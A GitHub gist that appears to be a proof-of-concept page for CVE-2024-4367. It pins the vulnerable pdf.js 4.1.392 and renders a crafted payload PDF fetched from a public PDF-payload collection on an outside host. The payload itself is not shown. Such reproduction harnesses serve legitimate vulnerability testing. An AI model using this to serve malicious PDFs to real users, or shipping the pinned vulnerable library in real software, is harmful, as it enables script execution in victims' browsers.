Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created September 18, 2024 16:06
CVE-2024-4367 Example
<!DOCTYPE html>
<html lang="en">
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdf.js/4.1.392/pdf.min.mjs" type="module"></script>
</head>
<body>
<h1>CVE-2024-4367</h1>
<div id="pdf-viewer"></div>
<script type="module">
// The URL of the PDF you want to display
const pdfUrl = 'https://raw.githubusercontent.com/luigigubello/PayloadsAllThePDFs/main/pdf-payloads/payload8.pdf';
// The workerSrc property shall be specified
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://cdnjs.cloudflare.com/ajax/libs/pdf.js/4.1.392/pdf.worker.mjs';
// Load the PDF document
pdfjsLib.getDocument(pdfUrl).promise.then(function(pdf) {
// Get the first page of the PDF
return pdf.getPage(1);
}).then(function(page) {
const scale = 1.5;
const viewport = page.getViewport({ scale: scale });
// Get the viewer container
const container = document.getElementById('pdf-viewer');
// Create a new canvas element
const canvas = document.createElement('canvas');
const context = canvas.getContext('2d');
canvas.height = viewport.height;
canvas.width = viewport.width;
// Append the canvas to the viewer container
container.appendChild(canvas);
// Render the page on the canvas
const renderContext = {
canvasContext: context,
viewport: viewport
};
page.render(renderContext);
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment